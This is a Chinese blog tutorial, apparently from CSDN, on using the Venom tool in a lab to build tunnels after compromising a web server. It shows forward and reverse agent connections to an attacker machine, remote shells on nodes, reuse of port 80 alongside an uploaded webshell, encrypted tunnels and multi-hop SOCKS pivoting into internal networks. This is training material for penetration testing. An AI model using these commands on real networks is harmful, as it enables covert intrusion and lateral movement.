内网隧道——Venom(毒液)

一、Venom简介

Venom工具也被称为“毒液工具”,它是一款开源的多级代理工具,使用Go语言开发,支持多种平台。Venom可以将多个节点进行连接,并以节点为跳板构建多级代理搭建网络隧道,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网管理代理节点,利用"毒液"进行可视化网络拓扑、多级Socks5代理、多级端口转发、端口复用(Apache、Mysql等服务)、SSH隧道、交互式Shell、文件的上传和下载、节点间通信加密等。

网络拓扑如下:
在这里插入图片描述
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138

二、基础使用

2.1 正向连接

应用场景:当拿下Web服务器权限后,通过探测发现Web服务器不出网,但能正常访问主机,可以使用venom工具以正向连接的方式搭建隧道进行渗透。
1、跳板机开启客户端监听。

agent.exe -lport 8888 # 监听8888端口

在这里插入图片描述
2、kali使用admin服务端发起连接。

./admin_linux_x64 -rhost 192.168.111.128 -rport 8888
# -rhost:指向远程连接ip
# -rport:指连接的端口

show # 显示网络拓扑
goto 1 # 选择结点1,也就是跳板机
shell # 获取结点1的shell

在这里插入图片描述

2.2 反向连接

1、kali本地监听8888端口;

./admin_linux_x64 -lport 8888

在这里插入图片描述
2、跳板机主动发起连接kali监听的8888端口,建立起隧道通讯。

agent.exe -rhost 192.168.111.0 -rport 8888

在这里插入图片描述
3、此时服务端会接收建立隧道信息,使用show命令可以显示网络拓扑。
在这里插入图片描述

2.3 端口复用

应用场景:假设上传webshell后,Web服务器只有80端口的开放http服务可以利用,下面我们通过venom工具的SO_REUSEPORTSO_REUSEADDR选项进行端口复用,Windows服务器下复用apache中间件的http服务80端口,不影响http服务正常使用。

1、上传 agent文件到Web服务器命令,设置80端口的复用。

agent.exe -lhost 192.168.111.128 -reuse-port 80

在这里插入图片描述
2、kali使用admin服务端执行下面的命令,来进行端口复用。

./admin_linux_x64 -rhost 192.168.111.128 -rport 80

在这里插入图片描述

2.4 加密通信(反向连接)

Venom工具支持隧道通信加密,对通讯数据进行加密保护,本地通过-passwd参数选项指定密码进行设置,密码用于生成AES加密所需的密钥。

1、kali使用venom工具服务端执行以下命令,为隧道进行加密。

./admin_linux_x64 -lport 8888 -passwd Admin123.

在这里插入图片描述

2、跳板机使用venom工具客户端agent文件,指定相同的密码与服务端admin连接,执行以下命令,成功即可达到隧道节点通讯加密的效果。

agent.exe -rhost 192.168.111.0 -rport 8888 -passwd Admin123. 

在这里插入图片描述
3、kali与跳板机之间建立了加密隧道。
在这里插入图片描述

三、多层网络穿透

网络拓扑如下:
在这里插入图片描述

攻击机kali IP:192.168.111.0
跳板机1 win7 IP:192.168.111.128,192.168.52.143
跳板机2 win server 2008 IP:192.168.52.138,192.168.48.129
靶机win server 2003 IP:192.168.48.128

1、在跳板机上开启本地客户端监听,我们以正向连接的方式搭建隧道。

agent.exe -lport 8888

在这里插入图片描述
2、kali使用venom服务端进行正向连接,show查看连接情况,如果有A—1,证明客户端连接成功。

./admin_linux_x64 -rhost 192.168.111.128 -rport 8888
# -rhost:跳板机IP
# -rport:跳板机监听端口

在这里插入图片描述
3、在跳板机1与kali之间建立socks隧道。

goto 1
socks 4444

在这里插入图片描述
4、kali修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1024参数来完成proxychains代理配置。
在这里插入图片描述
5、当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.138命令来连接跳板机2,通过所建立的socks协议隧道,我们可以直接远程连接到跳板机2。
在这里插入图片描述
6、将agent.exe上传到跳板机2上,同时监听4444端口。

agent.exe -lport 4444

在这里插入图片描述
7、kali进入结点1(跳板机1),连接靶机

goto 1
connect 192.168.52.138 4444 # 靶机IP及监听的端口

在这里插入图片描述
在这里插入图片描述
8、在跳板机2与kali之间建立socks隧道。
在这里插入图片描述
在这里插入图片描述
8、通过socks5隧道,ping通靶机(192.168.48.128)。
在这里插入图片描述

  • 19
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值